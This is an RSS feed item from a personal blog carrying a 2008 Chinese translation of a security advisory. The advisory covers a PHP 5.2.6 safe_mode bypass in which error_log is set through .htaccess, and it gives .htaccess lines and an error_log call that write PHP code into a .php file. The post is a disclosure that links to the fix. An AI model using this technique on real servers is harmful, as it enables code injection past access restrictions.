<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Some reminiscences, some memories &#187; bypass</title>
	<atom:link href="http://www.mikespook.com/index.php/tag/bypass/feed" rel="self" type="application/rss+xml" />
	<link>http://www.mikespook.com</link>
	<description>Just another boring day</description>
	<lastBuildDate>Tue, 10 Jan 2012 03:14:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>PHP 5.2.6 safe_mode 中 error_log 的漏洞</title>
		<link>http://www.mikespook.com/2008/11/php-526-safe_mode-%e4%b8%ad-error_log-%e7%9a%84%e6%bc%8f%e6%b4%9e/</link>
		<comments>http://www.mikespook.com/2008/11/php-526-safe_mode-%e4%b8%ad-error_log-%e7%9a%84%e6%bc%8f%e6%b4%9e/#comments</comments>
		<pubDate>Fri, 21 Nov 2008 01:26:23 +0000</pubDate>
		<dc:creator>mikespook</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[safe_mode]]></category>

		<guid isPermaLink="false">http://www.mikespook.com/?p=239</guid>
		<description><![CDATA[<style type="text/css">
#leftcontainerBox {
	float:left;
	position: fixed;
	top: 60%;
	left: 70px;
}
#leftcontainerBox .buttons {
	float:left;
	clear:both;
	margin:4px 4px 4px 4px;
	padding-bottom:2px;
}
#bottomcontainerBox {
	width: 50%;
	padding-top: 1px;
}
#bottomcontainerBox .buttons {
	float: left;
	margin: 4px 4px 4px 4px;
}
</style>
今天早上在这里看到的，觉得很有必要记录一下：http://www.milw0rm.com/exploits/7171

一个简单的翻译如下：



<span class="readmore"><a href="http://www.mikespook.com/2008/11/php-526-safe_mode-%e4%b8%ad-error_log-%e7%9a%84%e6%bc%8f%e6%b4%9e/" title="PHP 5.2.6 safe_mode 中 error_log 的漏洞">阅读全文——共1428字</a></span>]]></description>
			<content:encoded><![CDATA[<style type="text/css">
#leftcontainerBox {
	float:left;
	position: fixed;
	top: 60%;
	left: 70px;
}
#leftcontainerBox .buttons {
	float:left;
	clear:both;
	margin:4px 4px 4px 4px;
	padding-bottom:2px;
}
#bottomcontainerBox {
	width: 50%;
	padding-top: 1px;
}
#bottomcontainerBox .buttons {
	float: left;
	margin: 4px 4px 4px 4px;
}
</style>
<p>今天早上在这里看到的，觉得很有必要记录一下：<a href="http://www.milw0rm.com/exploits/7171" target="_blank">http://www.milw0rm.com/exploits/7171</a></p>
<p>一个简单的翻译如下：</p>
<p><span id="more-239"></span></p>
<pre>- --- 0.描述---
PHP 是 HTML 内嵌脚本语言。多数语法从 C、Java、Perl 借鉴而来，并有一些独特的功能。这个语言的目标是允许 web 开发人员快速的编写动态页面。

error_log

PHP 允许定义自定义错误处理，如修改记录错误的方式。这允许修改并强化错误报告，使其更加适合应用。

- --- 0. error_log 常量. php_admin_flag 引起的漏洞  ---
主要问题在全局使用 safe_mode 中。

php.ini­:
safe_mode = On

或通过 php_admin_flag 定义

&lt;Directory "/www"&gt;
...
	php_admin_flag safe_mode On
&lt;/Directory&gt;

当创建了一些 php 脚本在 /www/ 中并尝试调用：

ini_set("error_log", "/hack/");

或者在 /www/.htaccess 中

php_value error_log "/hack/bleh.php"

结果：

Warning: Unknown: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in Unknown on line 0

Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4

这是 safe_mode 定义在 php.ini 中的情形。但是如果使用

php_admin_flag safe_mode On 

在 httpd.conf 中，只会得到

Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect. The script whose uid is 80 is not allowed to access /hack/ owned by uid 1001 in /www/phpinfo.php on line 4

.htaccess中的代码

php_value error_log "/hack/blehx.php"

被允许，成为了 safe_mode 的漏洞。

实例：
error_log("&lt;?php phpinfo(); ?&gt;", 0);

- --- 2. 如何修复 ---
在 CVS 中

http://cvs.php.net/viewvc.cgi/php-src/NEWS?revision=1.2027.2.547.2.1315&#038;view=markup

注意：
不要将 safe_mode 作为主要的安全措施。

 --- 3. 致意 ---
sp3x 情报链 p_e_a pi3

- --- 4. 联系 ---
作者： SecurityReason [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
邮件： cxib [at] securityreason [dot] com
GPG: http://securityreason.pl/key/Arciemowicz.Maksymilian.gpg

http://securityreason.com

http://securityreason.pl</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.mikespook.com/2008/11/php-526-safe_mode-%e4%b8%ad-error_log-%e7%9a%84%e6%bc%8f%e6%b4%9e/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

